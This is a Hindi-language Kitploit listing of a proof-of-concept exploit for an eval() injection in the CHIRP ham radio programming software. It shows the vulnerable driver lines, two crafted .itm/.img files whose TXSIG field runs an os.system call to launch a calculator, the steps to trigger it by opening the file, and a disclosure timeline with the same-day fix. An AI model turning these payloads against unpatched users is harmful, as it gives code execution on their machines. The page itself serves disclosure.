Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CHIRP-CodeExecution_via_Malicious_ImageFile — हैम रेडियो प्रोग्रामिंग एप्लिकेशन में eval() इंजेक्शन के माध्यम से मनमाना कोड निष्पादन (arbitrary code execution) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जिसमें दुर्भावनापूर्ण .itm/.img फ़ाइल पेलोड और मूल कारण विश्लेषण (root-cause analysis) शामिल हैं। | Kitploit
उपकरण/GitHubGitHub/cduram/chirp-codeexecution_via_malicious_imagefile
भेद्यता विश्लेषणशोषणपेलोड डेवलपमेंट
GitHubcduram/chirp-codeexecution_via_malicious_imagefile

CHIRP-CodeExecution_via_Malicious_ImageFile

हैम रेडियो प्रोग्रामिंग एप्लिकेशन में eval() इंजेक्शन के माध्यम से मनमाना कोड निष्पादन (arbitrary code execution) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जिसमें दुर्भावनापूर्ण .itm/.img फ़ाइल पेलोड और मूल कारण विश्लेषण (root-cause analysis) शामिल हैं।

रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
931 महीना पहलेअभी तक समीक्षित नहीं

CHIRP — Kenwood ITM ड्राइवर में eval() के माध्यम से मनमाना कोड निष्पादन

उत्पाद: CHIRP - हैम रेडियो को प्रोग्राम करने के लिए एक ओपन-सोर्स प्रोजेक्ट।
प्रभावित संस्करण: URL: https://github.com/kk7ds/chirp, https://chirpmyradio.com
प्रभावित संस्करण: <= chirp-next-20260814
CWE: CWE-95 (Eval Injection)


अवलोकन

CHIRP का Kenwood ITM फ़ाइल फ़ॉर्मेट ड्राइवर खोली गई फ़ाइल से कच्चे CSV फ़ील्ड मानों को बिना किसी सत्यापन के सीधे Python के अंतर्निहित eval() को पास कर देता है। एक हमलावर जो किसी CHIRP उपयोगकर्ता को एक तैयार की गई फ़ाइल पहुँचाता है, वह पीड़ित उपयोगकर्ता के रूप में मनमाना कोड निष्पादन प्राप्त कर लेता है।

मूल कारण

chirp/drivers/kenwood_itm.py, _clean_tmode(), पंक्तियाँ 66–67:

def _clean_tmode(self, headers, line, mem):
    rtone = eval(generic_csv.get_datum_by_header(headers, line, "TXSIG"))  # SINK
    ctone = eval(generic_csv.get_datum_by_header(headers, line, "RXSIG"))  # SINK

TXSIG और RXSIG मान सीधे खोली गई फ़ाइल की CSV पंक्ति से आते हैं। eval() से पहले कोई प्रकार जाँच, अनुमति-सूची (allowlist), या सैंडबॉक्सिंग लागू नहीं की जाती है।

POC

नीचे दो POC दिए गए हैं।

दुर्भावनापूर्ण .itm

// Malicious .itm POC
CH,ZN,RXF,TXF,NAME,TXSIG,RXSIG
1,1,146.520000,146.520000,PoC,__import__('os').system('calc'),0

दुर्भावनापूर्ण .img

// Malicious .img POC
CH,ZN,RXF,TXF,NAME,TXSIG,RXSIG
1,0,146520000,146520000,PoC,__import__('os').system('calc.exe'),0

 chirpεimgeyJyY2xhc3MiOiAiSVRNUmFkaW8iLCAidmVuZG9yIjogIktlbndvb2QiLCAibW9kZWwiOiAiSVRNIiwgInZhcmlhbnQiOiAiIiwgImNoaXJwX3ZlcnNpb24iOiAiZGFpbHktMjAyMzAxMDEifQ==

CHIRP में ट्रिगर करना

  1. CHIRP लॉन्च करें।
  2. File → Open।
  3. {file_name}.img चुनें। यदि .itm पेलोड का उपयोग कर रहे हैं, तो फ़िल्टर ड्रॉपडाउन को "All Files" में बदलें (CHIRP में ITM के लिए फ़िल्टर नहीं है)।
  4. {file_name}.itm चुनें।

खुलासा

2026-8-17 -- कमज़ोरी की खोज हुई
2026-8-17 -- अनुरक्षक (maintainer) को ई-मेल भेजा गया
2026-8-17 -- अनुरक्षक ने उत्तर दिया और उसी दिन कोड ठीक कर दिया गया। https://github.com/kk7ds/chirp/commit/39178dbfc4fece083ab9ed20286d6ae3a91a718e
2026-8-21 -- इंस्टॉलर रिलीज़ 20260821 में यह सुधार शामिल है।
2026-8-22 -- NotCVE-2026-0013 जारी किया गया।
2026-8-23 -- CVE-2026-78136 जारी किया गया।

टूल डाउनलोड करें